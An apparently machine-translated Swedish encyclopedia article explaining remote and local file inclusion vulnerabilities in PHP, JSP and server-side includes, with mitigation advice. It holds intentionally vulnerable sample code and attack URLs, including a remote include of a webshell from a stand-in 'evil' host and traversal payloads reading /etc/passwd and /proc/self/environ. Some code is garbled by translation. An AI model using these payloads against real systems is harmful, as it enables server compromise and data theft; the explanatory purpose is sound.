Sårbarhet för filinkludering
En sårbarhet för filinkludering är en typ av webbsårbarhet som oftast upptäcks påverka webbapplikationer som förlitar sig på en skriptkörningstid . Det här problemet orsakas när ett program bygger en sökväg till körbar kod med hjälp av en angriparkontrollerad variabel på ett sätt som gör att angriparen kan kontrollera vilken fil som körs vid körning. En filinkluderingssårbarhet skiljer sig från en generisk katalogövergångsattack , genom att kataloggenomgång är ett sätt att få obehörig åtkomst till filsystemet , och en sårbarhet för filinkludering undergräver hur en applikation laddar kod för exekvering. Framgångsrik exploatering av en sårbarhet för filinkludering kommer att resultera i fjärrkörning av kod på webbservern som kör den berörda webbapplikationen. En angripare kan använda fjärrkörning av kod för att skapa ett webbskal på webbservern, som kan användas för att förstöra webbplatsen .
Typer av inkludering
Filinkludering på avstånd
Fjärrfilinkludering ( RFI ) inträffar när webbapplikationen laddar ner och kör en fjärrfil. Dessa fjärrfiler erhålls vanligtvis i form av en HTTP- eller FTP -URI som en parameter som tillhandahålls av användaren till webbapplikationen.
Lokal filinkludering
Lokal filinkludering ( LFI ) liknar en sårbarhet för fjärrfilinkludering, förutom att istället för att inkludera fjärrfiler kan endast lokala filer, dvs filer på den aktuella servern, inkluderas för exekvering. Det här problemet kan fortfarande leda till fjärrkörning av kod genom att inkludera en fil som innehåller angriparkontrollerad data som webbserverns åtkomstloggar.
Programmeringsspråk
PHP
I PHP beror huvudorsaken på användningen av ovaliderad användarinmatning med en filsystemsfunktion som inkluderar en fil för exekvering. Mest anmärkningsvärda är inkludera
och kräver
uttalanden. De flesta av sårbarheterna kan tillskrivas nybörjare som inte är bekanta med alla funktioner i PHP-programmeringsspråket. PHP-språket har ett direktiv som, om det är aktiverat, tillåter filsystemfunktioner att använda en URL för att hämta data från avlägsna platser. Direktivet är allow_url_fopen
i PHP-versioner <= 4.3.4 och allow_url_include
sedan PHP 5.2.0. I PHP 5.x är detta direktiv inaktiverat som standard, i tidigare versioner var det aktiverat som standard. För att utnyttja sårbarheten kommer en angripare att ändra en variabel som skickas till en av dessa funktioner för att få den att inkludera skadlig kod från en fjärrresurs. För att mildra denna sårbarhet måste all användarinmatning valideras innan den används.
Exempel
Tänk på det här PHP- skriptet som innehåller en fil som anges på begäran:
<?php if ( isset ( $_GET [ 'språk' ])) { include ( $_GET [ 'språk' ] . '.php' ); } ?>
< form method = "get" > < select name = "language" > < option value = "engelska" > Engelska </ option > < option value = "franska" > Franska </ option > ... </ select > < input type = "submit" > </ form >
Utvecklaren hade för avsikt att läsa på english.php
eller french.php
, vilket kommer att ändra programmets beteende för att visa det språk som användaren väljer. Men det är möjligt att injicera en annan sökväg med hjälp av språkparametern
.
-
/vulnerable.php?language= http://evil.example.com/webshell.txt?
- injicerar en fil som är värd på distans som innehåller en skadlig kod (fjärrfil inkluderar) -
/vulnerable.php?language= C:\\ftp\\upload\\exploit
- Kör kod från en redan uppladdad fil som heterexploit.php
(sårbarhet för lokal filinkludering) -
/vulnerable.php?language= C:\\notes.txt%00
- exempel med NULL- metatecken för att ta bort.php-
suffixet, vilket ger åtkomst till andra filer än.php
. Denna användning av nollbyte-injektion korrigerades i PHP 5.3 och kan inte längre användas för LFI/RFI-attacker. -
/vulnerable.php?language= ../../../../../etc/passwd%00
- tillåter en angripare att läsa innehållet i filen/etc/passwd
på ett Unix-liknande system genom en kataloggenomgångsattack . -
/vulnerable.php?language= ../../../../../proc/self/environ%00
- tillåter en angripare att läsa innehållet i filen/proc/self/environ
på en Unix- som system genom en katalogövergångsattack . En angripare kan modifiera en HTTP- rubrik (somUser-Agent
) i denna attack till att vara PHP-kod för att utnyttja fjärrkörning av kod .
Den bästa lösningen i det här fallet är att använda en vitlista med accepterade språkparametrar. Om en stark metod för indatavalidering som en vitlista inte kan användas, lita på indatafiltrering eller validering av den inmatade sökvägen för att säkerställa att den inte innehåller oavsiktliga tecken och teckenmönster. Detta kan dock kräva att alla möjliga problematiska teckenkombinationer förutses. En säkrare lösning är att använda en fördefinierad Switch/Case-sats för att bestämma vilken fil som ska inkluderas istället för att använda en URL- eller formulärparameter för att dynamiskt generera sökvägen.
JavaServer Pages (JSP)
JavaServer Pages (JSP) är ett skriptspråk som kan inkludera filer för körning under körning.
Exempel
Följande skript är sårbart för en sårbarhet för filinkludering:
<% String p = begäran . getParameter ( "p" ); @include file = "<%=" inkluderar / " + p +" . jsp " %> " %>
-
/vulnerable.jsp?p=../../../../var/log/access.log%00
- Till skillnad från PHP påverkas JSP fortfarande av nollbyte-injektion, och denna param kommer att köra JSP-kommandon som finns i webbserverns åtkomstlogg.
Serversidan inkluderar (SSI)
En Server Side Include är mycket ovanligt och är vanligtvis inte aktiverade på en standardwebbserver. En inkludering på serversidan kan användas för att få fjärrkörning av kod på en sårbar webbserver.
Exempel
Följande kod är sårbar för en sårbarhet för inkludering av fjärrfiler:
<!DOCTYPE html> < html > < head > < title > Testfil </ title > </ head > < body > <!--#include file="USER_LANGUAGE"--> </ body > </ html >
Ovanstående kod är inte en XSS-sårbarhet , utan innehåller snarare en ny fil som ska köras av servern.
Se även
- Attack (dator)
- Kodinjektion
- Metasploit Project , ett penetrationstestverktyg med öppen källkod som inkluderar tester för RFI
- SQL-injektion
- Hot (dator)
- w3af , en säkerhetsskanner för webbapplikationer med öppen källkod
- Standard sårbarhet för autentiseringsuppgifter
externa länkar
- Fjärrfilinkludering i Web Application Security Consortium
- Lokal filinkludering
- Local & Remove File Inclusion WordPress på WP Hacked Help